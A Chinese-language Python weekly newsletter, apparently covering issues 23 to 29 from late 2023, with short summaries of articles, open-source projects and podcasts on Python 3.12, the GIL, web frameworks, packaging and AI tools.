未来有可能人人都可以轻松使用量子计算机么?Qiskit 项目的目标是这样。这个库是 Qiskit 的核心组件,包含用于创建和使用量子电路、量子算子和基元函数的构建块。(star 3.9K)
使用几行简单的配置就能创建复杂的仪表板,利用 Plotly 和 Dash 等库绘图。支持多种格式编写配置,包括 Pydantic 模型、JSON、YAML 或 Python 字典。(star 1.5K)
这是一个由大量机器学习模型、算法和工具组成的集合,专门用 NumPy 和 Python 标准库编写。(star 14K)
可解析 PDF 每个文本字符、矩形和线条的详细信息,支持提取表格和可视化调试。(star 4.6K)

🐢播客&视频

FreeCodeCamp 推出的一个 Mojo 入门学习视频,已接近 10 万播放量。
探讨 Python 3.12 中令人兴奋的新功能和改进,也讨论了即将发布的版本将删除的一些元素。

第23期(2023-10-22)

🦄文章&教程

经常看到有人问:有没有简单易上手的 Python 项目推荐?不妨看看这篇文章,它介绍了 20 个小项目的想法,另外原作者已经实现了很多项目,源码可从文中的仓库地址获取。
文章在配备 AMD 锐龙 7000 系列和第 13 代英特尔酷睿处理器的不同机器上共进行了 91 种基准测试,详细给出了各项数值。
作者在今年 Pycascades 上做了演讲“Python 中用元类作元编程”,并遇见 Guido,他们聊了一些 Python 使用中的话题以及如何成为 CPython 核心开发者。
程序员提升能力的一个方法是大量阅读优秀的代码,Python 标准库就是很好的选择。但标准库茫茫之多,该选择哪些呢?文章作者推荐了这些:statistics、pathlib、dataclasses、graphlib
国人的付费意愿差,独立开发者选择出海掘金的话,大多会选择用 Stripe 账号。这篇教程使用 Stripe 实现网站的收款功能,前后端技术栈为 Vue 和 Flask。
介绍了 Python 调用 Rust 的三种方法:HTTP、IPC(进程间通信) 和 FFI(外部函数接口)。
FastAPI 内置了一些中间件,但你可能还需要量身定制自己的中间件。文章介绍了 FastAPI 中间件原理及内置的中间件,然后基于函数和基于类来实现自定义中间件,给出了最佳实践建议以及相应的测试用例。
文章介绍了三种无密码的身份验证方法:基于邮件的身份验证、使用 OAuth 进行身份验证和使用超链接进行身份验证;介绍了它们的优点、局限性以及使用的注意事项。
有什么工具可以简化开发工作流程,遵循行业构建良好软件的最佳实践?文章分享了 4 种好用的工具:Poetry、Pre-commit 钩子、Makefiles、python-dotenv
Flask 最近发布了 3.0 版本,Werkzeug 也同时发了 3.0 版本,但它引入了不向后兼容的更改!作者吐槽 Flask 总是出现版本不兼容的问题,给出了不少例子和原因分析,希望 Flask 核心开发不要做无端的重构,要三思而行。(文章出自《Flask Web Development》一书的作者)
介绍使用 ProPainter 框架来解决视频去水印问题,它引入了双域传播的新方法和一种高效的遮罩引导视频 Transformers,增强了视频修复的性能,同时保持了计算效率,成本更低。
微软在 8 月让 Excel 支持了 Python,现在一家名为 Neptyne 的公司推出了一款在 Google Sheets 中使用 Python 功能的产品。文章介绍了它的基本情况。

🐿️项目&资源

一个很简洁的网站,有近百道选择题,大多是 Python 基础语法相关的内容。来测一下你都学会了么?
它提供了一个类似于绘图程序的编辑器,用于构建图形用户界面,支持文本、图形、图像、按钮、输入框和 Web 视图等元素;提供了一个代码编辑器,可添加事件驱动的 Python 代码。
它内置了单元测试、代码检查、格式化、包管理、pre-commit 配置、Github Actions 等众多方便的工具,可以很方便的管理 Python 项目。(投稿自@Undertone0809)
轻松构建与部署可实时分析及操作视频流的应用,无需构建和维护多媒体 pipeline。支持插件,例如使用 Kafka 实时处理事件、使用 YOLOv8 模型等。
它具有高级语音活动检测、唤醒词激活和即时转录功能,使用的技术栈有:语音活动检测(WebRTCVAD、SileroVAD)、语音转文本(Faster Whisper)、唤醒词检测(Porcupine)。
它利用 Langchain 和 Selenium 使 AutoGPT 代理能够控制 Chrome 会话。支持以交互方式滚动、单击和输入网页上的文本,从而可以导航和操作 Web 内容。(star 1.4K)
一个简约的 Windows 记事本程序,支持翻译、TTS、Markdown,基于 PyQt-Fluent-Widgets 开发而成。
用于 k8s 的一个简单、可扩展的 Python 客户端库,如果你用过 kubectl,就会觉得它很熟悉。
可搜索多个内容源并返回 AI 的排名结果,支持连接到数据库(SQL、NoSQL、Google BigQuery)、公共数据(谷歌、Arxiv)、企业数据源(Microsoft 365、Jira、Miro等)。
一个强大的错误跟踪和性能监控平台,还支持定期任务监控、代码覆盖率、会话重播、告警、安全策略等功能,支持 100 多种平台和框架,支持 30+ 编程语言。(star 35.4K)
这个仓库收录了一些 Python 小项目及其实现代码,跟本期周刊的第一则分享相似。(star 1K)
用于审查 SSH 的配置,支持 SSH1 和 SSH2 协议,支持 Linux 和 Windows,可识别安全漏洞、不安全密钥、不安全算法等,并给出安全建议。另外它也有在线版本 。(star 2.6K)

🐢播客&视频

Django Day 是一个专门围绕 Django 框架和 Django 社区的活动,目前视频列表中有 11 则视频。
Python 能够用于开发移动端应用么?能不能用 Python 实现端到端的移动应用开发?这期播客邀请了几个移动端 APP 的开发者聊了相关话题。

第24期(2023-10-29)

🦄文章&教程

PEP-703 是 no-GIL 项目形成的提案,就在本周,Python 指导委员会宣布采纳了这个提案!这篇文章写于消息宣布的两周前,总结了过去一段时间里发生的技术思考和进展。(附:PEP-703 的讨论
这是一个新提案,建议 CPython 提供对 iOS 系统的 Tier 3 级支持。如果提案被采纳,则 Python 将会有更广泛的使用。 BeeWareKivy 是支持 iOS 的 Python APP 开发框架,说明了技术的可行性。
文章探讨在 Django 应用中集成一些高级的特性,例如:实现所见即所得编辑器、用户认证授权、实时通信功能、异步任务、集成 Elasticsearch 作全文搜索、自动化测试与持续集成。
介绍了使用 multiprocessing.Pool、multiprocessing.Queue 和 Redis 实现简单的任务队列,实现基础的任务调度处理。
上期周刊分享了一则吐槽 Flask 向后兼容性不好的文章(见下),这篇是对它的回应,作者是 Flask 的维护者之一。
这是上周《我们必须聊聊 Flask》的后续,作者收到了一些正面和反面的回应,文章延续了之前的话题,并主要反驳了一些观点。
rip 是用 Rust 开发的 PyPI 包解析及安装库,即 Rust 版本 pip。它试图在 Conda 和 PyPI 间架起一座坚固的桥梁,文章介绍它为了克服这两者的主要区别(元数据提取、Wheel 文件元数据、依赖项规范)而做的一些工作。
如何使用 Rust 实现关键代码来提升 Python 程序的性能?文章从多个方面优化 k-CorrSet 问题的实现,得到了很高的速度提升。
什么是 lambda 表达式和 lambda 函数?lambda 函数与 Python 的其它函数有何不同?它有什么局限性、什么时候应该避免使用、通常使用在什么场景?
视频翻译是对原始语言的视频处理后,显示为其它语言的字幕及配音。文章是一个低成本的尝试,技术栈:语音识别使用 openai-whisper 离线模型、文字翻译使用 Google 接口、文字合成语音使用 Microsoft Edge tts。
集成测试是指将各个代码单元作为一个整体进行测试。文章介绍基于 FastAPI 的集成测试方法,包括如何模拟身份验证、如何模拟外部 API、如何模拟 MangoDB 相关操作、如何模拟 AWS S3。
latexify_py 是一个 Google 开源的 Python 包,可以将 Python 源代码片段编译为相应的 LaTeX 表达式。文章介绍了它的使用方法,包括如何将 Python 函数转为公式、Latexify 参数设定、Latexify 生成伪代码。

🐿️项目&资源

Python 中比较成熟的任务队列库,支持 RabbitMQ、Redis 等中间件,很容易与主流 Web 框架集成。(star 22.4K)
RQ(Redis Queue)是基于 Redis 的任务作业库,使用门槛低,支持排队、定时、重试等功能。(star 9.2K)
简单轻量级的任务队列库,支持 Redis、SQLite、文件系统和内存存储,支持多进程、多线程或 Greenlet 任务执行模型。(star 4.7K)
用 Rust 实现的 pip,支持下载、解析和安装 PyPI 包,支持 wheel (部分支持),计划将 sdist 文件。
Selenium 是 Web 自动化的最优库之一,Helium 是在其基础上的封装,使 Web 自动化更为方便。除了高级 API,它还简化了 Web 驱动管理、支持与嵌套的 iFrame 中元素交互、支持隐式等待、支持显式等待。(star 3.6K)
它支持解析 YAML 及 JSON 文件的简历,创建 latex 文件,然后渲染成 PDF 格式。目前仅有一款主题。
可以将 Python 源码或 AST 编译为 LaTex,使用 IPython 来漂亮地打印编译的函数。(star 6.5K)
在 Macbook 本机上使用的编程助手,配置及使用非常简易。(star 2.6K)
用于搜索空间中靠近给定查询点的点,与其它同类库的最大不同是可使用静态文件作为索引,可实现跨进程共享索引。被 Spotify 用作音乐推荐。(star 12.1K)
可对内存中的向量集合执行快速的近似最近邻搜索。也是出自 Spotify,每天被查询数亿次,扛得住海量用户的请求。召回率比 annoy 高。
它旨在构建测试领域的“智能体”,融合大模型和质量领域工程化技术,促进质量技术代系升级。开源了测试领域模型 TestGPT-7B,该模型以 CodeLlama-7B 为基座。
Waymo 是 Google 旗下的自动驾驶公司,Waymax 是其开源的轻量级、多智能体、基于 JAX 的自动驾驶模拟器,可轻松分发和部署在 GPU 和 TPU 等硬件加速器上。

🐢播客&视频

Jinja 的主要作者 Armin Ronacher 在 2012 年的演讲视频,介绍了 Jinja 编译器基础结构的设计,为什么这样设计,以及不同版本的迭代发展过程。(附:演讲的 PPT
Armin Ronacher 在 2014 年的演讲视频,比较了 Jinja 和 Django 的模板,分析它们产生截然不同设计的历史原因。(附:演讲的 PPT
JupyterCon 是一个专注于 Jupyter 应用和工具的年度活动,包括数据科学、机器学习、科学计算、数据可视化、教育和科学研究等领域。

第25期(2023-11-04)

🦄文章&教程

我在今年 4 月份介绍过 性能最快的代码分析工具 Ruff,当时发现它不局限于 Linter 的定位,还提供了部分 Formatter 的功能。现在,它发布了重大更新,正式成为性能最快的 Python 代码格式化工具,比 Black 快 30 倍以上,比 YAPF 快 100 倍!
Python 3.12 已经发布了,你是否迫切想要升级了呢?现在是最佳的升级到 3.12 的时候么?文章建议你等到 12 月,等发布 3.12.1 错误修复版本后,因为新版本存在这些问题:不兼容的软件包、缺少二进制包、每次大版本总有大量的问题要修复。
作者认为 3.12 对于 Python 的意义,大于 3.5 的“async/await” 和 3.6 的 “Type Hint” 对于 Python 的意义!主要分析了三个方面提升:PEP-669 带来的可观测性、PEP-684 为 non-GIL 带来的性能提升、PEP-697 全新 C API 保证跨版本兼容性。
作者给了两个建议:不要使用 pip 和 requirements.txt 来管理 Python 依赖项,推荐使用 Poetry。pip 的主要问题是没有 lockfile 和手工管理虚拟环境麻烦。除了 Poetry,作者也提及了 Hatch 和 PDM。
Django 提供了一个默认的后台管理系统,即 Django Admin,它的 UI 很多年没有变化,显得设计过时了。为什么 Django 维护者们不改善它呢?作者通过询问多位维护者,得出了它的历史及如此设计的原因,主要观点是 Django Admin 面向内部管理员,不应该暴露给终端用户。
PyOxidizer 作者的一篇长文,他在将 Python 3.12 用于另一个库时,CI 运行python setup.py 提示 setuptools 无法导入。作者在寻求解决方案时,发现 Python 的打包生态非常让人困惑,他经历了一系列复杂而耗时的过程。
Ptpython 是一个功能丰富且对用户友好的 Python REPL,这是一篇非常详细的使用教程。重点介绍的功能包括历史记录、输入验证、自动补全、自动处理缩进、自定义交互式 shell、在脚本中嵌入 ptpython 等。
测试覆盖率固然重要,但这项指标并不足以解决所有问题。文章通过示例揭示测试覆盖率的不足,简单介绍了如何用 Hypothesis 作基于属性的测试。
从零开始编写一个异步 ASGI Web 框架难么?需要了解哪些知识、实现哪些功能、思考哪些问题?这篇循序渐进的教程是很好的学习材料,让你了解 Web 框架设计、异步编程、功能封装与项目管理。
不在日志中打印明文密码是安全需求,但是有太多可能出现打印密码的情况,如何能高效地隐藏明文密码呢?文章介绍了基于 logging 模块的两种实现方案:自定义 filter 和自定义 formatter,使用特定规则过滤明文密码。
monorepo 是将所有项目都放到一个代码仓管理,可能包含不同语言和框架。这意味着对它的依赖管理和 CI/CD 等都与普通代码仓不同。文章介绍如何使用 GitHub Actions 作为 CI/CD 工具构建简单的 Python monorepo。
我们通常习惯将 Python 称为一种解释型语言,因为它在运行时逐行解释和执行代码。很多人还知道 Python 其实也有编译的过程,解释器会先编译再执行。然而作者不止步于此,他通过苏格拉底式对话和几轮实验,引导读者重新思考“解释”与“编译”:它们是错误的二分法、限制了编程语言的可能性。Python 既是解释型语言,也是编译型语言!

🐿️项目&资源

用于加密货币交易的 JavaScript/Python/PHP/C# 库,支持许多比特币/以太币/山寨币交易市场和商家 API。(star 29.5K)
这个项目是 DjangoCon US 2023 的演示项目,使用单文件不到 10 行代码,演示一个最小的 Django 应用。
基于 Starlette 和 Pydantic 之上构建的开箱即用的 Web 框架,用于构建现代可扩展的 API 应用,支持同步和异步,提供 DAO、ORM、ODM、依赖注入、权限管理等功能。
一个很有意思的项目,它包含从初级到高级的一系列挑战题目,让你在线练习 type hint 的使用。
可生成 OpenAPI http 服务端,内置 Prometheus 指标,提供结构化日志记录,支持多种语言代码生成。
一款高级的 Python 反混淆器,面向恶意软件分析师和逆向工程师,它拥有精美的 UI 和一些高级功能。
非常非常丰富的公共 API 清单,内容应有尽有。(star 2K)
阿里达摩院开源的语音识别工具包,功能包括语音识别(ASR)、语音端点检测(VAD)、标点恢复、语言模型、说话人验证、说话人分离和多人对话语音识别等。(star 1.2K)
支持采集和下载小红书图文/视频作品,支持批量下载,有作品文件完整性处理机制。
使用 GitHub workflow 自动运行一个简单的 Python 脚本,调用 OpenAI API 为 RSS 订阅源生成摘要,然后将新生成的 RSS 订阅源推送到 GitHub Pages。配置简单快速,无需服务器。
用于检查源代码中拼写错误的单词,支持多种运行方式,可指定忽略单词和文件,可用于 pre-commit。(star 1.5K)
具有 70 亿参数,在五千亿 Tokens 进行了训练,上下文窗口长度为 8192。在权威的代码评估Benchmark 上,CodeShell 取得同等规模最好的性能。(star 1.2K)

第26期(2023-11-11)

🦄文章&教程

2019 年时 requests 3 的筹款闹出了不小的风波,后来似乎没什么消息。现在作者发了一篇道歉文,看来项目是要重启了!文中列举了目前已经完成的一些事情,包括给所有公开接口加上了类型提示、重构所有命名空间和调整成兼容异步编程等。(附:筹款风波之《Why I’m not collaborating with Kenneth Reitz》)
grequests 构建在 gevent 库之上,可以并发多个请求,有效利用异步编程的强大功能。这篇基础教程介绍了它的基本使用方法,以及一个提升性能的建议。
这是一系列博文,目前已更新 6 篇,目标是探索和研究实现 Python 等编程语言所需的概念和算法,将会涉及分词器、解析器、编译器和解释器。
一篇教程,用 Python、Langchain 和 OpenAI embedding 开发一个书籍摘要工具。另外,作者使用 Streamlit 发布了一个在线体验网站
GeneratedField 是正在开发的 Django 5.0 的新功能,利用数据库的能力自动计算数据列的值。作者是 Django 的贡献者,测试了在 SQLite 中使用这个新功能的各种场景。(附:这篇文章还介绍了一些 Django 5.0 中的新东西
bisect 模块只有两个函数,但可以做很多事,文章介绍了:二分搜索、前缀搜索、在列表中查找连续的相等值、查找字典中最接近的键、自定义对象的排序、按照字典 key 搜索。
每当 Python 发布新版本时,三方库的维护者们也要紧锣密鼓开发兼容的对应版本,这不是轻松的事。作者介绍了他们遇到的严峻挑战,其实就是 Python 社区老大难的打包问题。好在维护者们已经找到了适用的解决方案。
OpenAI 发布了新的模型,它的能力到底如何呢?使用 GPT-4 作网页抓取,具有哪些优点和缺点呢?文章分别实验了抓取结构良好的网站、抓取 Google 自然搜索结果、抓取 Google SERP、以及抓取 Google MAPS 结果。
Python 圈最为流行的两大 Web 框架,到底应该如何取舍呢?这是一篇细致的长文,详细对比了它们在模板系统、URL 调度器、数据库支持、身份验证及授权、测试、软件架构、学习曲线等方面的差异。没有更好的,只有是否适合你的。
如何在新的 M2 MacBook 上安装 Python 呢?这篇手把手的指导教程中,作者给出的建议是 Pyenv + pyenv-virtualenv
这篇教程指导你开发一个 Android 数据分析应用,其作用是记录和显示你全天在屏幕上花费的时间。使用的 GUI 框架是kivy ,数据分析使用了Pandas
NEP-52 是 Numpy 的一则增强提案,旨在识别 Numpy 中过时、重复和弃用的 Python API,并作重构优化。这项工作是为了顺利迁移到 Numpy 2.0 而做的准备。作者介绍了他在其中遇到的挑战和取得的部分成就。

🐿️项目&资源

一个视频翻译工具,可将一种语言的视频翻译为另一种语言和配音的视频。(star 1.4K)
由 Black 派生而成,用于解决 Google 数千名工程师在 monorepo 上工作产生的问题。
由 FastAPI 作者开源的 SQL 数据库,结合了 SQLAlchemy 和 Pydantic,旨在实现简单性、兼容性和稳健性。(star 11.2K)
一个专注于用户体验的后台管理系统,上期分享了关于“Django Admin 丑陋”的文章,wagtail 是可提供给终端用户使用的最佳推荐。(star 16.2K)
一个机器学习 AI,用于预测 NBA 比赛胜负。包含 2007-08 赛季到本赛季的所有球队数据。
这个仓库归档了一些 Python 电子书和学习资源,都是 PDF 格式。
一个数据处理框架,结合了 LLM 程序的批处理、流式处理和实时 API,可与各种数据源交互(如 Kafka、CSV 文件、SQL/noSQL 数据库和 REST API)。
它是数据密集型工作流的编排器,可将 Python 函数转换为可观察和编排的工作单元。支持自动重试、分布式执行、调度、缓存等功能,拥有强大的仪表板进行监控。(star 13.2K)
一个支持高清晰度的视频生成和编辑工具,目前包括文字生成视频及图片生成视频两种模型。(star 3K)
这篇文章收集了一系列基础资源、课程和教程、编码游戏、书籍、播客、YouTube 频道、最佳实践等等。
用于创建、操作和研究复杂网络的结构、动力学和功能,适用于复杂网络的分析。(star 13.4K)
这个项目收录了 Python 中的各种框架,有 Web 框架、API 框架、CMS、ML&DL&AI、任务/消息队列、并行&分布式计算、工作流&管道、DevOps、爬虫、GUI&TUI,等等。提供有一个在线网站

🐢播客&视频

由 Python 核心开发者 Pablo Galindo 和 Łukasz Langa 主理的播客,已推出两期节目:核心开发者 Sprint 及 Python 3.13.0 alpha 1PEP-703:移除 GIL
上世纪 90 年代诞生的 Python、Ruby、PHP 和 JavaScript 这些动态编程语言都在拥抱静态类型(mypy、Sorbet、Hack 和 TypeScript),诞生不算久的 Go、Kotlin、Dart 和 Rust 等都是静态类型。为什么静态类型卷土重来?这对未来意味着什么?
3、《Boost your Git DX》作者的两期播客
Adam Johnson 新书《提升你的 Git 开发者体验》上市后,分别参加了Real Python Podcast #179Pybites #139 两期播客节目。

第27期(2023-11-18)

🦄文章&教程

文章比较了两种处理错误的方法:抛出错误和将错误作为返回值,并参照 Go 和 Rust 的处理模式,介绍如何在 Python 中实现将错误作为值返回。(附1:两种风格的错误处理 分析了两种风格的优缺点及其适用场景;附2:周刊第一期的 编程语言的四种错误处理方法 从语法、代码可读性、演变过程、运行效率角度对比了不同方案)
部署 Django 程序时的一个常见错误是 403 Forbidden ,通常由 CSRF 错误导致,文章介绍了导致这种错误的 7 种原因,并解读 Django 源码,详细梳理了它们的校验逻辑。
Python 中的虚拟环境和包管理工具实在是太多了!但是应该如何选择最适合自己需求的工具呢?作者全面分析了 5 个类别的 10 多款工具,希望减少用户在抉择上的困惑。(附:作者针对此主题的两场演讲 PyCon DE 2023EuroPython 2023
你是否好奇一个代码调试器是如何工作的?当设置断点后,程序触发它时会发生什么?调试器是程序员日常必备工具之一,但极少有人知道它是如何实现的。这是一个系列教程,已更新 5 篇文章。值得一提的是,作者使用了最新的 Python 3.12 PEP-669 功能。
Python 3.12 已发布一个半月,你开始尝鲜了么?这篇内容全面的文章重点解读了新的几个 PEP,让你对这个版本有更清晰的认识。
Python 的字典是一种“哈希表”,提供了高效灵活的数据存储和检索方法。文章介绍了这种数据结构及其工作原理,探讨了如何用 Python 实现哈希表并解决哈希冲突。这是一个系列文章,作者还写了堆、队列、栈、数组等数据结构的指南。
作者想自己实现一个简化版的不太安全的沙盒,文章介绍了它的运作方式,以及一些关键性问题的解决方案,即独立的进程 + seccomp + setrlimit 。(附:如何安全运行别人上传的Python代码? 这篇文章的方案是使用 Docker 的 Python SDK 来构建镜像,在 Docker 中执行代码)
深入探讨了 Linux 中 cp 命令的工作原理,然后用 Python 实现了一个基础版本。从中可以看到高级编程语言提供的强大功能和简单性。
作者认为 Flask 虽然简单易用,但它可能会让初学者忽视 Web 开发的复杂性。Django 功能全面、生态系统成熟,更适合新手学习与提升生产力。
一则信息型的 PEP,用于分享 C API 的信息,包括定义 C API 的用途、利益相关者及其使用场景和要求、C API 的优势、C API 的 9 项薄弱的问题。
作者出于编程乐趣的目的,定义了一组类似 JSON 的语法规则,然后使用 Python 逐一实现不同内容的提取与解析,开发了一个解析器。
在作者眼中,Python 1.5 是他能完全理解的最后一个版本,而之后的版本则使得语言越来越大。语言设计时添加新功能,如何权衡取舍?作者建议学习 C 语言的例子,让语言处于“最小进化”模式。

🐿️项目&资源

一个强大的开源可视化语言模型 (VLM),CogVLM-17B 有 100 亿个视觉参数和 70 亿个语言参数,具有高性能,在多项跨模态基准测试中排名领先。(star 2.1K)
让你通过 Python 代码生成各类视频,包括但不限于演示视频、动态图形、着色器艺术编码和游戏解说视频。支持视频编辑、音频剪辑、图层转换及添加特效等。
这是一个 Web APP,可将摄像头视频流传给 AI,让它分析内容并实时回答你提出的问题。100% 本地和私有,Web UI 是用 gradio 构建,多模态 AI 模型是 Bakllava
Vimium 是一个 Chrome 插件,可让你仅用键盘浏览网页,借助它,可以不将浏览器 DOM 传给大模型,仅用 GPT-4V 的视觉功能来浏览网页。(star 1.8K)
使用 selenium 模拟浏览器操作,可抓取用户推文并保存静态资源到本地,无需调用 Twitter API。(投稿自@kaixinol)
经常有人分享自己 RSS 列表导出的 OPML 文件,但这难以阅读也不宜直接拿去导入自己的阅读器。这个项目将 RSS 源的概要和一些统计信息输出成 markdown 表格,方便你按需订阅。(投稿自@AboutRSS)
一个平民版视频翻译工具,音频翻译、翻译校正、视频唇纹合成全流程解决方案。
awesome-python 是一个拥有 187K star 超火爆的项目,收录了大量框架、库、软件和资源。这个项目是对它收录内容的统计分析,每日更新,可在线查看统计表。
一个用于生成神经文本的库,可视为 transformers 库中 generate 方法的替代品。(star 3.3K)
全新的 notebook 项目,其每个 notebook 都可作为交互式 Web 程序共享,可浏览数据、运行实验、构建工具和部署应用。
一个资源集合项目,帮助你收集、操纵和分析股市数据。(star 1.2K)
一个远程监控和管理工具,使用 Django、Vue 和 Go 构建。类似 Teamviewer 的远程桌面控制、远程文件传输、远程执行命令和脚本、查看日志、告警管理、支持自动化。(star 2.3K)

🐢播客&视频

Guido 本周在 X 上分享了这则视频,视频作者介绍了他们规划给 Python 3.13 开发一个 JIT 编译器!(附:演讲视频的文稿
Sanic 是支持异步编程的 Python Web 框架,能够快速构建和运行。这期播客的嘉宾是 Sanic 的维护者之一,话题包括 Web 框架对比、消息规范、Mayim(单向 ORM)。

第28期(2023-11-25)

🦄文章&教程

很值得推荐的文章。正文部分介绍了优化程序的四种方法:使用更好的算法、使用更好的数据结构、使用底层的编程语言、以及接受不太精确的解决方案。文章开头和结尾则提出了一些教训:我们对于性能优化问题容易过度乐观、我们可能只顾性能而牺牲了正确性、不该作过早和复杂的优化、优化的广度比优化的深度更重要。
由于 GIL 的限制,因此在 Python 中使用线程池需要注意业务是 CPU 密集型任务还是 IO 密集型任务,这将导致在线程数量和线程池目标上的不同选择。
Python 3.12 版本中datetime.datetimeutcnow()utcfromtimestamp() 方法已被标注为“deprecated”,将在未来版本中删除。文章介绍了它们的缺陷,解释了为什么它们会被弃用。替代的方法分别是:datetime.now()datetime.fromtimestamp()
介绍了如何使用 Nginx+Gunicorn+Supervisor、Nginx+uWSGI+Supervisor、Waitress、Meinheld 等不同方案部署 Flask 应用,分析了它们的优缺点。
介绍了 CPython 全局解释器锁的实现细节,介绍了从 Python 3.9 到目前 3.13 开发版之间的变化。其中有一项很大的差别,在 3.9 及早期版本,GIL 在执行很多字节码时会释放,而在 3.13 版本,只在少数字节码上检查是否释放 GIL。
Python 的依赖管理有很多选择,文章介绍了 pip-compile 和 pip-tools 的组合方案。
作者将程序的 bug 分成四类:类型错误和 linting 错误、导入时异常、运行时异常、静默的错误。处理的策略是减少出现后面的错误类型,将其变为前面的错误处理。
Python 的类型提示正在逐渐流行,但是,它在核心开发者群体中已经普及到什么程度了呢?作者经过分析,给出了这样的数据:所有核心开发者中,大约 53% 的人最近有开源项目,其中 39% 的人使用类型提示。近 3 年里加入团队的人中,有 76% 使用类型提示。
作者为了使用 OpenAI 返回的异步迭代器内容,将不支持异步的 Flask 项目重构成了支持异步的 Quart。但手动修改的工作量太大,因此他想到通过解析 ast 来修改,提升项目转换的效率。
文章使用了大量直观的图形展示 Numpy 数据的分布以及数据变化过程,让你轻松掌握 Numpy 数据操作。
传统观点认为组合优于继承,但作者认为 Python 不能很好地支持,若教条式使用组合,只会引入问题,因此作者提供了一种简单实现的思路。
在数据驱动关键决策的时代,交互式仪表板已成为商业、科学研究等行业不可或缺的工具。Streamlit 和 Shiny(包括 RShiny 及 PyShiny)是功能强大的框架,文章介绍了它们各自的优势。

🐿️项目&资源

超级火爆的新项目,它使用 GPT-4 Vision 生成代码,使用 DALL-E 3 生成与截图相似的外观。甚至可以输入 URL 来实时克隆一个网站!(star 19.4K)
将 SQLAlchemy ORM 模型生成高质量的可视化效果,使用 Graphviz 将每个模型呈现为有向图,更容易理解数据库表之间的关系。
它通过将提示、模型参数及模型密切相关的逻辑与应用代码分离,降低复杂度。SDK 是与模型无关的,可扩展到任何生成式 AI 模型。
可以让你轻松构建可扩展且可维护的 API,支持依赖注入、类型注释、装饰器和代码生成。
它利用风格扩散和对抗训练与大型语音语言模型 (SLM) 来实现人类水平的 TTS 合成。(star 2.7K)
安装后,只需从命令行调用 pyjoke 或将其添加到 .bashrc 文件中,每次打开终端时都会看到一个笑话。
用于调用 Google Translate 的文本转语音 API,提供可定制的语音特定的句子分词器,以及可定制的文本预处理器。(star 2K)
极简的聊天室应用,前后端代码在仅 115 行的单文件中,使用 SSE 作后端消息推送,不依赖websocket,支持用户认证、多用户聊天、上下线通知、路由保护。(投稿自@yuxiaoy1)
Streamlit 的组件选择相对局限,且样式比较古老。这个项目将前端流行的 shadcn 组件库引入到 Streamlit 当中,UI 更为美观。
可无损分辨率将视频中的硬字幕去除,生成去除字幕后的文件,利用 AI 填充原字幕区域;支持自定义字幕位置,支持全视频自动去除所有文本。
将你的草稿图实时变成生动的图像,可更改 UI 中的模型 ID 来使用不同的模型。(star 1.5K)
可执行高精度天文学计算,用于查找行星、彗星或小行星的位置,确定特定星体的位置,计算月球各阶段的日期,天文坐标系转换,确定春分和冬至的日期,等等。

第29期(2023-12-02)

🦄文章&教程

一篇长文,由一个诡异的问题开始:Rust 写的程序竟然比 Python 慢?!作者在定位根因的过程中,多次得到 Rust 方案比 Python 慢的结果,甚至 C 版本代码也比 Python 的慢!层层深入,用上各种定位手段,最后发现竟然是 AMD CPU 内核的问题!
Python 中有哪些获取时间戳的函数?它们的性能表现如何?文章取了 7 种函数进行性能测算,发现 time.time() 是最快的。文章发布后引起了一些争议,于是作者写了第二篇,做了 Win10、WSL2 和 Ubuntu20 的对比,也增加了 Python 3.10 和 3.12 的对比。(附:第二篇性能对比的文章
Python 简单易用门槛低,因为它把很多复杂的工作交给了解释器,这使得它适合用作原型设计,快速开发应用。Go 语言也简单,但相比 Python 的规则要多一些,性能也更高。作者的建议是同时发挥两者的优势。
在 Pandas 2.2.0 中,DataFrame.apply 可以指定一个新的 numba 引擎,实现并行化的操作。文章介绍了这个引擎的工作原理、它支持的应用场景及无法做到的事,同时给出了多项性能测试的数据。
作者是 Flask 的维护者之一,列出了一份任务清单,提供给 Flask 的贡献者们方便着手处理。我们多数人没有维护开源项目的经验,或许无法想象项目维护者们要做那一大堆与编码完全无关的事。(题外话:Flask 的 star 数在本周已落后于 FastAPI,失去了 Web 框架第二高 star 的位置)
Python 3.12 开放了子解释器的一个 API,它有什么用呢?子解释器与多线程、多进程有什么区别,它们的性能差距有多少?将子解释器用于 Web 开发,会有什么效果?作者用开发中的 Python 3.13 做了一些实验,结果有惊喜也有程序异常。期待明年真正无-GIL 的 Python 吧!
文章选取了 10 组在 Python 社区很知名的库,同时给出它们相对应的替代库,这里最没争议的估计是 Ruff 替代 Pylint,其它则还有:Taipy/Streamlit、Polars/Pandas、Dask/PySpark、PyTorch/TensorFlow ……
Polars 是速度更快、内存效率更高、更易于使用的数据处理库,可作为 Pandas 的替换。但是替换后如何与第三方库更好地集成呢?文章介绍了几种处理方法,实现从 Pandas 到 Polars 的无缝切换。
软关键字(soft keyword)指的是可以被重新赋值的关键字。作者想利用正则表达式从 Python 最新的语法文件中找出所有的软关键字。最后得知只需下面两行代码就能做到(以下是 Python 3.12 的结果,即现在有 4 个软关键字):
>>> import keyword
>>> keyword.softkwlist
['_', 'case', 'match', 'type']
为了应对小孩的提问,作者开发了一个“机器人爸爸”。用到了 Eleven Labs 作声音克隆,用 Picovoice 语音转文字提取唤醒词,最后调用 ChatGPT 接口获取答案。
文章列出了十多项 REST API 的最佳实践规则,解释了规则的含义及实现,另外,作者嘲笑了几家公司被广泛使用的 API,将它们作为规则的反例。
文章介绍了几种调试 Asyncio 代码的方法,包括启用它的调试日志、在调试模式下运行事件循环、自定义调试信息等。(附:文章的姊妹篇 如何分析 Asyncio 程序? 分析慢程序和高频函数)

🐿️项目&资源

支持将多种文件格式转换为 markdown,可删除页眉/页脚,将方程式转换为 latex,格式化处理代码块和表格,另外也支持多种语言。(star 2.3K)(附:将整本 PDF 版《Think Python》转换后的效果
这个项目整理了一些库、工具、文章和书籍,主要集中在 profile、数据库、缓存、序列化、任务处理和监测等方面。
一个数据模型代码生成器,支持多种输入类型(OpenAPI、JSON、YAML、CSV、Python 字典、GraphQL),输出 Pydantic、dataclass、TypeDict 等类型。(star 2K)
它利用 datamodel-code-generator 生成 pydantic 模型,基于 OpenAPI 格式的接口文件,快速生成 FastAPI 项目。支持自定义模板,允许将自定义变量传给自定义模板。
在命令行窗口中实现的看板应用工具,有漂亮的表格、配置与数据分离、可自动创建任务、可作任务跟踪。
一个基于 Asyncio 和 Redis 之上的简单且高性能的任务队列框架。提供有一个简单的 UI,可查看任务队列、状态及执行详情等信息。
一个高性能的绘图工具库,利用 Numpy 作数值运算、用 Qt 的 GraphicsView 框架作 2D 显示和 OpenGL 作 3D 显示。(star 3.5K)
